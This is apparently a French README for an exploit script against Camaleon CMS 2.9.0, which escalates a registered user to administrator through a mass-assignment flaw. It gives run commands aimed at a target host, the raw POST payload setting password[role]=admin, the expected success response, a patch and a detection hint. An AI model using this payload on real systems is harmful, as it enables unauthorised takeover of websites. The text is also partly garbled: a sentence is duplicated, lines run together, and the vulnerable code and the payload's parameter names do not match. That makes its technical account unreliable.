
Ce script Python exploite une vulnérabilité critique d'assignation de masse dans Camaleon CMS version 2.9.0, permettant à tout utilisateur enregistré d'élever ses privilèges à ceux d'administrateur.
Ce script Python exploite une vulnérabilité critique d'assignation massive dans Camaleon CMS version 2.9.0, permettant à tout utilisateur enregistré d'élever ses privilèges au niveau administrateur.
permit! dans l'action updated_ajax permet à tous les paramètres de passer sans filtrage, y compris le paramètre role/admin/users/[id]/updated_ajax avec une charge malveillante : (Dans le script, j'ai utilisé l'ID 5 car c'est généralement celui attribué automatiquement. Cela peut nécessiter d'être modifié.)
password[role]=admin - Ce paramètre devrait être filtré, mais ne l'est pas à cause de permit!password[password] et password[password_confirmation] - Met à jour le mot de passe de l'utilisateur (Lorsqu'un utilisateur normal avec un rôle client met à jour son profil, c'est techniquement user[role]=client, mais comme nous exploitons ici la vulnérabilité résultant de la fonctionnalité de changement de mot de passe, ce sera password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password : Définir un nouveau mot de passe lors de l'exploitation (par défaut, le mot de passe actuel)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
La vulnérabilité se trouve dans la méthode updated_ajax du UsersController :
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Remplacez la méthode vulnérable permit! par un filtrage explicite des paramètres :
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
Ce script est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Veuillez ne pas utiliser cet exploit sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.
Les équipes de sécurité peuvent détecter les tentatives d'exploitation en surveillant :
/admin/users/[id]/updated_ajax avec le paramètre password[role]